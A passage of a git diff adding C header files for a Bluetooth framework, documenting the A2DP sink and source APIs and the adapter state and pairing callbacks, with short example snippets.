sink_cbks_cookie); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_sink_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Check if A2DP is already connected. + * + * This function serves the purpose of verifying the connection status of A2DP. + * It is important to note that the A2DP profile is deemed connected solely when + * the A2DP Sink is either in the Opened or Started state. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - A2DP Sink connected. + * @return false - A2DP Sink not connected. + * + * **Example:** + * @code +void a2dp_sink_connected(void* ins, bt_address_t* addr) +{ + bool ret = bt_a2dp_sink_is_connected(ins, addr); + + printf("A2DP sink is %s", ret? "connected" : "not connected"); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_sink_is_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Check if the stream is being transmitted. + * + * This function is used to verify the streaming status of the A2DP Sink. + * The A2DP Sink can only be deemed as playing when it is in the Started + * state and the audio is also in the Started state. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - Stream is being transmitted . + * @return false - No stream transmission. + * + * **Example** + * @code +void a2dp_sink_playing(void* ins, bt_address_t* addr) +{ + bool ret = bt_a2dp_sink_is_playing(ins, addr); + + printf("A2DP sink is %s", ret? "playing" : "not playing"); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_sink_is_playing)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Obtain A2DP Sink connection state. + * + * There are four states for A2DP connection, namely DISCONNECTED, CONNECTING, + * CONNECTED, and DIACONNECTED. This function is used by the application of + * the A2DP Sink to obtain the current state of the A2DP profile connection. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return profile_connection_state_t - A2DP profile connection state. + * + * **Example** + * @code +int get_state_cmd(void* ins, bt_address_t* addr) +{ + int state = bt_a2dp_sink_get_connection_state(ins, addr); + + printf("A2DP sink connection state is: %d", state); + + return state; +} + * @endcode + */ +profile_connection_state_t BTSYMBOLS(bt_a2dp_sink_get_connection_state)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Establish connection with peer A2DP device. + * + * This function is used to establish an A2DP profile connection with a designated + * peer device. Following the successful creation of the A2DP connection, the A2DP + * Sink transitions to an Opened state and subsequently notifies the application of + * its CONNECTED state. Upon reception of audio data from the A2DP Source device, + * the A2DP Sink then proceeds to forward the audio data to the Media. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int a2dp_sink_connect(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_sink_connect(ins, addr); + + printf("A2DP sink connect %s", ret ? "failed" : "success"); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_sink_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from peer A2DP device. + * + * This function is utilized for the purpose of disconnecting an A2DP profile connection + * with a designated peer device. Upon successful disconnection of the A2DP connection, + * the A2DP Sink transitions into an Idle state and subsequently notifies the application + * of the DISCONNECTED state. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int a2dp_sink_disconnect(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_sink_disconnect(ins, addr); + + printf("A2DP sink disconnect %s", ret ? "failed" : "success"); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_sink_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/* + * @brief Set a peer A2DP Source device as active device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int enable_source_device(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_sink_set_active_device(ins, addr); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_sink_set_active_device)(bt_instance_t* ins, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_A2DP_SINK_H__ */ diff --git a/framework/include/bt_a2dp_source.h b/framework/include/bt_a2dp_source.h new file mode 100644 index 0000000000000000000000000000000000000000..5df6aca889d2a1b13de313ed00647f3115952ddc --- /dev/null +++ b/framework/include/bt_a2dp_source.h @@ -0,0 +1,289 @@ +/**************************************************************************** + * Copyright (C) 2023 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_A2DP_SOURCE_H__ +#define __BT_A2DP_SOURCE_H__ + +#ifdef __cplusplus +extern "C" { +#endif +#include "bt_a2dp.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @brief Callback for A2DP audio configuration. + * + * During the initialization process of the A2DP, callback functions are registered. + * This callbacks is triggered whenever a change occurs in the audio configuration + * of an A2DP connection. + * + * @param cookie - Callback cookie. + * @param addr - The Bluetooth address of the peer device. + * + * **Example:** + * @code +static void on_audio_config_changed_cb(void* cookie, bt_address_t* addr) +{ + printf("A2DP audio source configuration is changed"); +} + * @endcode + */ +typedef void (*a2dp_audio_source_config_callback)(void* cookie, bt_address_t* addr); + +/** + * @cond + */ +/** + * @brief A2DP source callback structure + * + */ +typedef struct { + /** set to sizeof(a2dp_source_callbacks_t) */ + size_t size; + a2dp_connection_state_callback connection_state_cb; + a2dp_audio_state_callback audio_state_cb; + a2dp_audio_source_config_callback audio_source_config_cb; +} a2dp_source_callbacks_t; +/** + * @endcond + */ + +/** + * @brief Register callback functions to A2DP Source service. + * + * When the A2DP Source is initialized, an application registers various callback + * functions to the A2DP Source service, such as the connection state callback function, + * audio state callback function, and audio source configuration callback function. + * The A2DP Source service will notify the application of any state changes via the + * registered callback functions. + * + * @param ins - Bluetooth client instance. + * @param callbacks - A2DP Source callback functions. + * @return void* - Callbacks cookie, if the callback is registered successfuly. + * NULL if the callback is already registered or registration fails. + * + * **Example:** + * @code +static const a2dp_source_callbacks_t a2dp_src_cbs = { + sizeof(a2dp_src_cbs), + a2dp_src_connection_state_cb, + a2dp_src_audio_state_cb, + a2dp_src_audio_source_config_cb, +}; + +void a2dp_source_uninit(void* ins) +{ + static void* src_cbks_cookie; + + src_cbks_cookie = bt_a2dp_source_register_callbacks(ins, &a2dp_src_cbs); +} + * @endcode + */ +void* BTSYMBOLS(bt_a2dp_source_register_callbacks)(bt_instance_t* ins, const a2dp_source_callbacks_t* callbacks); + +/** + * @brief Unregister callback functions to A2DP Source service. + * + * An application may use this interface to stop listening on the A2DP Source + * callbacks and to release the associated resources. + * + * @param ins - Bluetooth client instance. + * @param cookie - Callbacks cookie. + * @return true - Callback unregistration successful. + * @return false - Callback cookie not found or callback unregistration failed. + * + * **Example:** + * @code +static void* src_cbks_cookie = bt_a2dp_source_register_callbacks(ins, &a2dp_src_cbs); + +void a2dp_source_uninit(void* ins) +{ + bt_a2dp_source_unregister_callbacks(ins, src_cbks_cookie); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_source_unregister_callbacks)(bt_instance_t* ins, void* cookie); + +/** + * @brief Check if A2DP is already connected. + * + * This function serves the purpose of verifying the connection status of A2DP. + * It is important to note that the A2DP profile is deemed connected solely when + * the A2DP Source is either in the Opened or Started state. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - A2DP Source connected. + * @return false - A2DP Source not connected. + * + * **Example:** + * @code +void a2dp_source_connected(void* ins, bt_address_t* addr) +{ + bool ret = bt_a2dp_source_is_connected(ins, addr); + + printf("A2DP source is %s", ret? "connected" : "not connected"); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_source_is_connected)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Check if the stream is being transmitted. + * + * This function is used to verify the streaming status of the A2DP Source. + * The A2DP Source can only be deemed as playing when it is in the Started + * state and the audio is also in the Started state. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return true - Stream is being transmitted. + * @return false - No stream transmission. + * + * **Example** + * @code +void a2dp_source_playing(void* ins, bt_address_t* addr) +{ + bool ret = bt_a2dp_source_is_playing(ins, addr); + + printf("A2DP source is %s", ret? "playing" : "not playing"); +} + * @endcode + */ +bool BTSYMBOLS(bt_a2dp_source_is_playing)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Obtain A2DP Source connection state. + * + * There are four states for A2DP connection, namely DISCONNECTED, CONNECTING, + * CONNECTED, and DIACONNECTED. This function is used by the application of + * the A2DP Source to obtain the current state of the A2DP profile connection. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return profile_connection_state_t - A2DP profile connection state. + * + * **Example** + * @code +int get_state_cmd(void* ins, bt_address_t* addr) +{ + int state = bt_a2dp_source_get_connection_state(ins, addr); + + printf("A2DP source connection state is: %d", state); + + return state; +} + * @endcode + */ +profile_connection_state_t BTSYMBOLS(bt_a2dp_source_get_connection_state)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Establish connection with peer A2DP device. + * + * This function is used to establish an A2DP profile connection with a designated + * peer device. Upon successful establishment of the A2DP connection, the A2DP Source + * transitions to an Opened state and notifies the application of its CONNECTED status. + * Upon receipt of audio data from the media, the A2DP Source subsequently relays the + * audio data to the A2DP Sink. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int a2dp_source_connect(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_source_connect(ins, &addr); + + printf("A2DP source connect %s", ret ? "failed" : "success"); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_source_connect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Disconnect from peer A2DP device. + * + * This function is used to remove an A2DP profile connection with a specific peer device. Once + * the A2DP connection is removed, the A2DP Source turns into the Idle state and reports the + * DISCONNECTED state to the application. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int a2dp_source_disconnect(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_source_disconnect(ins, addr); + + printf("A2DP source disconnect %s", ret ? "failed" : "success"); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_source_disconnect)(bt_instance_t* ins, bt_address_t* addr); + +/** + * @brief Set a peer A2DP Sink device as silence device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @param silence - True, switch to silence mode to keep this device inactive. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int disable_sink_device(void* ins, bt_address_t* addr, bool silence) +{ + int ret = bt_a2dp_source_set_silence_device(ins, addr, silence); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_source_set_silence_device)(bt_instance_t* ins, bt_address_t* addr, bool silence); + +/** + * @brief Set a peer A2DP Sink device as active device. + * + * @param ins - Bluetooth client instance. + * @param addr - The Bluetooth address of the peer device. + * @return bt_status_t - BT_STATUS_SUCCESS on success, a negated errno value on failure. + * + * **Example** + * @code +int enable_sink_device(void* ins, bt_address_t* addr) +{ + int ret = bt_a2dp_source_set_active_device(ins, addr); + + return ret; +} + * @endcode + */ +bt_status_t BTSYMBOLS(bt_a2dp_source_set_active_device)(bt_instance_t* ins, bt_address_t* addr); + +#ifdef __cplusplus +} +#endif +#endif /* __BT_A2DP_SOURCE_H__ */ diff --git a/framework/include/bt_adapter.h b/framework/include/bt_adapter.h new file mode 100644 index 0000000000000000000000000000000000000000..64d02f5e8364a25987fb06723f3506a41ca18de7 --- /dev/null +++ b/framework/include/bt_adapter.h @@ -0,0 +1,1256 @@ +/**************************************************************************** + * Copyright (C) 2022 Xiaomi Corporation + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + ***************************************************************************/ +#ifndef __BT_ADAPTER_H__ +#define __BT_ADAPTER_H__ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "bluetooth.h" +#include "bt_device.h" + +#ifndef BTSYMBOLS +#define BTSYMBOLS(s) s +#endif + +/** + * @cond + */ +typedef enum { + BT_ADAPTER_STATE_OFF = 0, + BT_ADAPTER_STATE_BLE_TURNING_ON, + BT_ADAPTER_STATE_BLE_ON, + BT_ADAPTER_STATE_TURNING_ON, + BT_ADAPTER_STATE_ON, + BT_ADAPTER_STATE_TURNING_OFF, + BT_ADAPTER_STATE_BLE_TURNING_OFF, +} bt_adapter_state_t; +/** + * @endcond + */ + +/** + * @brief Adapter State Changed Callback. + * + * State Transition Diagram: + * + * +---------------------------+ + * | BT_ADAPTER_STATE_OFF | + * +---------------------------+ + * | + * turn_on | + * v + * +-------------------------------+ + * | BT_ADAPTER_STATE_BLE_TURNING_ON | + * +-------------------------------+ + * | + * turn_on | + * v + * +---------------------------+ + * | BT_ADAPTER_STATE_BLE_ON | + * +---------------------------+ + * | + * turn_on | + * v + * +---------------------------+ + * | BT_ADAPTER_STATE_TURNING_ON | + * +---------------------------+ + * | + * turn_on | + * v + * +---------------------------+ + * | BT_ADAPTER_STATE_ON | + * +---------------------------+ + * | + * turn_off | + * v + * +---------------------------+ + * | BT_ADAPTER_STATE_TURNING_OFF | + * +---------------------------+ + * | + * turn_off | + * v + * +-------------------------------+ + * | BT_ADAPTER_STATE_BLE_TURNING_OFF | + * +-------------------------------+ + * | + * turn_off | + * v + * +---------------------------+ + * | BT_ADAPTER_STATE_OFF | + * +---------------------------+ + * + * State Descriptions: + * - `BT_ADAPTER_STATE_OFF`: The initial state. The adapter is off. + * - `BT_ADAPTER_STATE_BLE_TURNING_ON`: BLE is in the process of being turned on. + * - `BT_ADAPTER_STATE_BLE_ON`: BLE is fully on. + * - `BT_ADAPTER_STATE_TURNING_ON`: The Bluetooth adapter is turning on. + * - `BT_ADAPTER_STATE_ON`: The Bluetooth adapter is fully on. + * - `BT_ADAPTER_STATE_TURNING_OFF`: The Bluetooth adapter is turning off. + * - `BT_ADAPTER_STATE_BLE_TURNING_OFF`: BLE is turning off. + * + * Callback invoked when the Bluetooth adapter state changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * + * @param state - The new state of the Bluetooth adapter, as defined in @ref bt_adapter_state_t. + * + * **Example:** + * @code +void on_adapter_state_changed(void* cookie, bt_adapter_state_t state) +{ +#ifdef CONFIG_BLUETOOTH_FEATURE + bt_instance_t* ins = (bt_instance_t*)cookie; + printf("bt_instance: %p\n", ins); +#else + printf("Context:%p, Adapter state changed: %d\n", cookie, state); +#endif +} + +const adapter_callbacks_t g_adapter_cbs = { + .on_adapter_state_changed = on_adapter_state_changed, +}; + +int main(int argc, char** argv) +{ + bt_instance_t* ins = NULL; + void* adapter_callback = NULL; + + ins = bluetooth_create_instance(); + if (ins == NULL) { + printf("create instance error\n"); + return -1; + } + printf("create instance success\n"); + adapter_callback = bt_adapter_register_callback(ins, &g_adapter_cbs); +} + * @endcode + */ +typedef void (*on_adapter_state_changed_callback)(void* cookie, bt_adapter_state_t state); + +/** + * @brief Adapter discovery state changed callback. + * + * Callback function invoked when the discovery state changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param state - Discovery state, see @ref bt_discovery_state_t (0: stopped, 1: started). + * + * **Example:** + * @code +void on_discovery_state_changed(void* cookie, bt_discovery_state_t state) +{ + printf("Discovery state: %s\n", state == BT_DISCOVERY_STATE_STARTED ? "Started" : "Stopped"); +} + +const adapter_callbacks_t g_adapter_cbs = { + .on_discovery_state_changed = on_discovery_state_changed, +}; + +int main(int argc, char** argv) +{ + bt_instance_t* ins = NULL; + void* adapter_callback = NULL; + + ins = bluetooth_create_instance(); + if (ins == NULL) { + printf("create instance error\n"); + return -1; + } + printf("create instance success\n"); + adapter_callback = bt_adapter_register_callback(ins, &g_adapter_cbs); +} + * @endcode + */ +typedef void (*on_discovery_state_changed_callback)(void* cookie, bt_discovery_state_t state); + +/** + * @brief Discovery result callback. + * + * Callback function invoked when a remote device is discovered. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param remote - Pointer to remote device information, see @ref bt_discovery_result_t. + * + * **Example:** + * @code +void on_discovery_result(void* cookie, bt_discovery_result_t* result) +{ + char addr_str[BT_ADDR_STR_LENGTH] = { 0 }; + bt_addr_ba2str(&result->addr, addr_str); + printf("Inquiring: device [%s], name: %s, cod: %08" PRIx32 ", rssi: %d\n", addr_str, result->name, result->cod, result->rssi); +} + * @endcode + */ +typedef void (*on_discovery_result_callback)(void* cookie, bt_discovery_result_t* remote); + +/** + * @brief Scan mode changed callback. + * + * Callback function invoked when the scan mode changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param mode - New scan mode, see @ref bt_scan_mode_t. + * + * **Example:** + * @code +void on_scan_mode_changed(void* cookie, bt_scan_mode_t mode) +{ + printf("Adapter new scan mode: %d\n", mode); +} + * @endcode + */ +typedef void (*on_scan_mode_changed_callback)(void* cookie, bt_scan_mode_t mode); + +/** + * @brief Local device name changed callback. + * + * Callback function invoked when the local device name changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param device_name - New local device name. + * + * **Example:** + * @code +void on_device_name_changed(void* cookie, const char* device_name) +{ + printf("Adapter update device name: %s\n", device_name); +} + * @endcode + */ +typedef void (*on_device_name_changed_callback)(void* cookie, const char* device_name); + +/** + * @brief Pair request callback (IO capability request). + * + * Callback function invoked when a pair request is received. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * + * **Example:** + * @code +void on_pair_request(void* cookie, bt_address_t* addr) +{ + // Handle pair request +} + * @endcode + */ +typedef void (*on_pair_request_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Pair information display callback. + * + * Callback function invoked to display pairing information. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param transport - Transport type, see @ref bt_transport_t (0: LE, 1: BR/EDR). + * @param type - Pairing type, see @ref bt_pair_type_t. + * @param passkey - Passkey value; invalid if pairing type is PAIR_TYPE_PASSKEY_CONFIRMATION + * or PAIR_TYPE_PASSKEY_NOTIFICATION. + * + * **Example:** + * @code +void on_pair_display(void* cookie, bt_address_t* addr, bt_transport_t transport, bt_pair_type_t type, uint32_t passkey) +{ + // Display pairing information +} + * @endcode + */ +typedef void (*on_pair_display_callback)(void* cookie, bt_address_t* addr, bt_transport_t transport, bt_pair_type_t type, uint32_t passkey); + +/** + * @brief Connect request callback. + * + * Callback function invoked when a connect request is received. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * + * **Example:** + * @code +void on_connect_request(void* cookie, bt_address_t* addr) +{ + // Handle connect request +} + * @endcode + */ +typedef void (*on_connect_request_callback)(void* cookie, bt_address_t* addr); + +/** + * @brief Connection state changed callback. + * + * Callback function invoked when the ACL connection state changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param transport - Transport type, see @ref bt_transport_t (0: LE, 1: BR/EDR). + * @param state - ACL connection state, see @ref connection_state_t. + * + * **Example:** + * @code +void on_connection_state_changed(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state) +{ + // Handle connection state change +} + * @endcode + */ +typedef void (*on_connection_state_changed_callback)(void* cookie, bt_address_t* addr, bt_transport_t transport, connection_state_t state); + +/** + * @brief Bond state changed callback. + * + * Callback function invoked when the bond state changes. + * + * @note The way the callback is invoked locally will no longer be supported. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param transport - Transport type, see @ref bt_transport_t (0: LE, 1: BR/EDR). + * @param state - Bond state, see @ref bond_state_t. + * @param is_ctkd - Whether cross-transport key derivation is used. + * + * **Example:** + * @code +void on_bond_state_changed(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd) +{ + // Handle bond state change +} + * @endcode + */ +typedef void (*on_bond_state_changed_callback)(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t state, bool is_ctkd); + +/** + * @brief Bond state changed callback. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param transport - Transport type, see @ref bt_transport_t (0: LE, 1: BR/EDR). + * @param previous_state - Previous bond state, see @ref bond_state_t. + * @param current_state - Current bond state, see @ref bond_state_t. + * @param is_ctkd - Indicates whether to use cross-transport key derivation, true if cross-transport key derivation is used. + * + * **Example:** + * @code + * void on_bond_state_changed(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t previous_state, bond_state_t current_state, bool is_ctkd) + * { + * printf("Bond state changed: %d -> %d\n", previous_state, current_state); + * } + */ +typedef void (*on_bond_state_changed_callback_extra)(void* cookie, bt_address_t* addr, bt_transport_t transport, bond_state_t previous_state, bond_state_t current_state, bool is_ctkd); + +/** + * @brief Got local OOB data for LE secure connection pairing callback. + * + * Callback function invoked when local OOB data for LE Secure Connections is generated. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param c_val - LE Secure Connections confirmation value. + * @param r_val - LE Secure Connections random value. + * + * **Example:** + * @code +void on_le_sc_local_oob_data_got(void* cookie, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val) +{ + // Handle OOB data +} + * @endcode + */ +typedef void (*on_le_sc_local_oob_data_got_callback)(void* cookie, bt_address_t* addr, bt_128key_t c_val, bt_128key_t r_val); + +/** + * @brief Remote device name changed callback. + * + * Callback function invoked when the remote device's name changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param name - New name of the remote device. + * + * **Example:** + * @code +void on_remote_name_changed(void* cookie, bt_address_t* addr, const char* name) +{ + // Handle remote name change +} + * @endcode + */ +typedef void (*on_remote_name_changed_callback)(void* cookie, bt_address_t* addr, const char* name); + +/** + * @brief Remote device alias changed callback. + * + * Callback function invoked when the remote device's alias changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param alias - New alias set by the user. + * + * **Example:** + * @code +void on_remote_alias_changed(void* cookie, bt_address_t* addr, const char* alias) +{ + // Handle remote alias change +} + * @endcode + */ +typedef void (*on_remote_alias_changed_callback)(void* cookie, bt_address_t* addr, const char* alias); + +/** + * @brief Remote device class changed callback. + * + * Callback function invoked when the remote device's class changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param cod - Class of Device (CoD) of the remote device. + * + * **Example:** + * @code +void on_remote_cod_changed(void* cookie, bt_address_t* addr, uint32_t cod) +{ + // Handle remote class of device change +} + * @endcode + */ +typedef void (*on_remote_cod_changed_callback)(void* cookie, bt_address_t* addr, uint32_t cod); + +/** + * @brief Remote device UUIDs changed callback. + * + * Callback function invoked when the remote device's supported UUIDs change. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param uuids - Array of supported UUIDs, see @ref bt_uuid_t. + * @param size - Number of UUIDs in the array. + * + * **Example:** + * @code +void on_remote_uuids_changed(void* cookie, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size) +{ + // Handle remote UUIDs change +} + * @endcode + */ +typedef void (*on_remote_uuids_changed_callback)(void* cookie, bt_address_t* addr, bt_uuid_t* uuids, uint16_t size); + +/** + * @brief Remote device link mode changed callback. + * + * Callback function invoked when the link mode with the remote device changes. + * + * @param cookie - User-defined context: + * - If `CONFIG_BLUETOOTH_FEATURE` is enabled, it's a `bt_instance_t*`. + * - If `CONFIG_BLUETOOTH_FEATURE` is disabled, it's a dynamically allocated `remote_callback_t*`. + * See `bt_adapter_register_callback` and `bt_remote_callbacks_register` for details. + * @param addr - Address of the remote device, see @ref bt_address_t. + * @param mode - Link mode, see @ref bt_link_mode_t. + * @param sniff_interval - Sniff interval if in sniff mode. + * + * **Example:** + * @code +void on_remote_link_mode_changed(void* cookie, bt_address_t* addr, bt_link_mode_t mode, uint16_t sniff_interval) +{ + // Handle link mode change +} + * @endcode + */ +typedef void (*on_remote_link_mode_changed_callback)(void* cookie, bt_address_t* addr, bt_link_mode_t mode, uint16_t sniff_interval); + +/** + * @cond + */ +typedef struct { + on_adapter_state_changed_callback on_adapter_state_changed; + on_discovery_state_changed_callback on_discovery_state_changed; + on_discovery_result_callback on_discovery_result; + on_scan_mode_changed_callback on_scan_mode_changed; + on_device_name_changed_callback on_device_name_changed; + on_pair_request_callback on_pair_request; + on_pair_display_callback on_pair_display; + on_connect_request_callback on_connect_request; + on_connection_state_changed_callback on_connection_state_changed; + on_bond_state_changed_callback on_bond_state_changed; + on_bond_state_changed_callback_extra on_bond_state_changed_extra; + on_le_sc_local_oob_data_got_callback on_le_sc_local_oob_data_got; + on_remote_name_changed_callback on_remote_name_changed; + on_remote_alias_changed_callback 